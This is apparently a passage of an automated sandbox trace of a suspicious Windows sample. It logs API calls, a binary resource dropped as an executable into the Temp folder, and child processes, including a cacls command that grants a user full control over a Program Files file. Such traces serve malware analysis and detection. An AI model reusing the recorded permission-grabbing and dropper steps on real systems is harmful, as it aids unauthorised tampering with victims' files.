(dwErrCode=0x0) [0095.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.331] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0095.331] GetLastError () returned 0x0 [0095.331] SetLastError (dwErrCode=0x0) [0095.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.331] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0095.331] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0095.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ©ýÄ[äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0095.331] GetLastError () returned 0x0 [0095.331] SetLastError (dwErrCode=0x0) [0095.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0095.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0095.332] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0095.332] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0095.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ©ýÄ[äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0095.332] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x80) returned 0x2e9240 [0095.332] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0095.332] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0095.332] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e9240) returned 0x80 [0095.332] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0095.332] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0095.332] GetCurrentProcess () returned 0xffffffff [0095.332] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0095.332] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0095.333] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0095.333] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0095.333] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0095.333] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0095.333] LockResource (hResData=0x43c648) returned 0x43c648 [0095.333] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2e9710 [0095.333] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.334] GetLastError () returned 0x20 [0095.334] GetLastError () returned 0x20 [0095.334] SetLastError (dwErrCode=0x20) [0095.334] GetLastError () returned 0x20 [0095.334] SetLastError (dwErrCode=0x20) [0095.334] GetLastError () returned 0x20 [0095.334] SetLastError (dwErrCode=0x20) [0095.335] GetLastError () returned 0x20 [0095.335] SetLastError (dwErrCode=0x20) [0095.335] GetLastError () returned 0x20 [0095.335] SetLastError (dwErrCode=0x20) [0095.335] GetLastError () returned 0x20 [0095.335] SetLastError (dwErrCode=0x20) [0095.335] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x1000) returned 0x2e9730 [0095.335] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0095.336] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e8810 | out: hHeap=0x2d0000) returned 1 [0095.336] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0095.337] ExitProcess (uExitCode=0x1) [0095.337] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e70b8 | out: hHeap=0x2d0000) returned 1 Process: id = "174" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x8f6000" os_pid = "0xd9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "168" os_parent_pid = "0xd64" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 736 os_tid = 0xda0 Process: id = "175" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xbb21000" os_pid = "0xda4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "161" os_parent_pid = "0xd14" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 737 os_tid = 0xda8 [0096.836] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0096.836] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0096.837] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0096.838] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0096.839] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0096.840] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0096.841] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 